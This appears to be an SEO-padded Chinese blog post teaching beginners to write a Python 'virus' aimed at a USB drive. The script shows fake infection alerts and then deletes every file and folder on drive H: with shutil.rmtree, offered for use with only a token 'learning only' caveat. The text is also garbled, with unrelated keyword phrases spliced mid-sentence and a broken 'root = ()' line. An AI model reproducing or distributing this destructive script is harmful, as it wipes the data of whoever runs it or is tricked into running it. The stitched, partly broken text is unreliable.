欢迎来到今天的讨论,我们将探讨,python简单的病毒编程代码 如何用python做恶搞病毒,一起探索吧!
这篇文章主要介绍了python简单的病毒编程代码,具有一定借鉴价值,需要的朋友可以参考下用python自动下载网站里的文件。希望大家阅读完这篇文章后大有收获,下面让小编带着大家一起了解一下。
大家好,小编来为大家解答以下问题,python简单的病毒编程代码,如何用python做恶搞病毒,今天让我们一起来看看吧!
如何用Python写病毒–USB病毒篇
人生苦短,我用Python!
hello 大家好!我是Mark,一个姓马名克的中国人。
最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”
“哎呀,没什么,我只是想试一下而已”“喝,这简单!”
没错,这确实很简单AI同义句转换好用的句子同义替换软件python用turtle画固定樱花树。 所以,今天Mark就跟大家分享一下,如何通过Python写一个病毒
(注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)
一、环境搭建
本程序用Python编写,不会Python的小伙伴可以参照这篇博客传送门!
我自己的环境是windows10,64位,pycharm,Python3.7
二、撸代码!
接下来,就可以开始写代码了!(本文不需要任何Python基础)
首先,上代码:
import os
import tkinter.messagebox
import shutil
这里很好理解,导入一些模块。
那么,会有零基础的朋友问了,什么是模块?
模块,就相当于文具盒
为什么这么比喻呢?
很简单,写一个代码,写一个程序,是不是就像完成一项作业?那么,完成作业需要什么呢?
没错,需要本子和笔。 那么现在,我们有了编辑器,是不是就有了本子,那笔去哪里了呢?
对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就相当于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……
所以,我们如果要用里面的笔,就必须要拿出这个文具盒,明白了?
接下来,继续上代码!
root = ()
root.withdraw()
这个的作用是消除 tkinter 模块在运行时出现的主窗口。
其中
root = ()
是定义变量名, 定义变量名更好理解了,大致可以理解为
给一个东西起一个新名字,更加简短,明了
下一行
root.withdraw()
是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是
从文具盒当中拿出一支笔,去使用它
接下来,下一段代码:
tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')
这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的: 然后,看下一段代码
filepath = os.listdir('H:\\')
这一行代码调用 os 模块,读取H盘下所有文件
res = len(filepath)
这一行,获取H盘下文件的数量
while res != 0:
res -= 1
sen = 'H:/' + str(filepath[res])
shutil.rmtree(sen)
这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。
在这个循环语句当中,sen 变量储存了H盘下面所有文件的绝对路径。
最后一行,通过 shutil 模块中的 rmtree方法,删除 sen 目录下的所有文件
好了,最后贴一张整体图
然后是运行效果图
5.1.病毒运行演示
原文地址1:https://blog.csdn.net/Bxwfjdjdbdgj/article/details/136019267
参考资料:python中用turtle画一个圆形 https://blog.csdn.net/SXIAOYAN_/article/details/140061099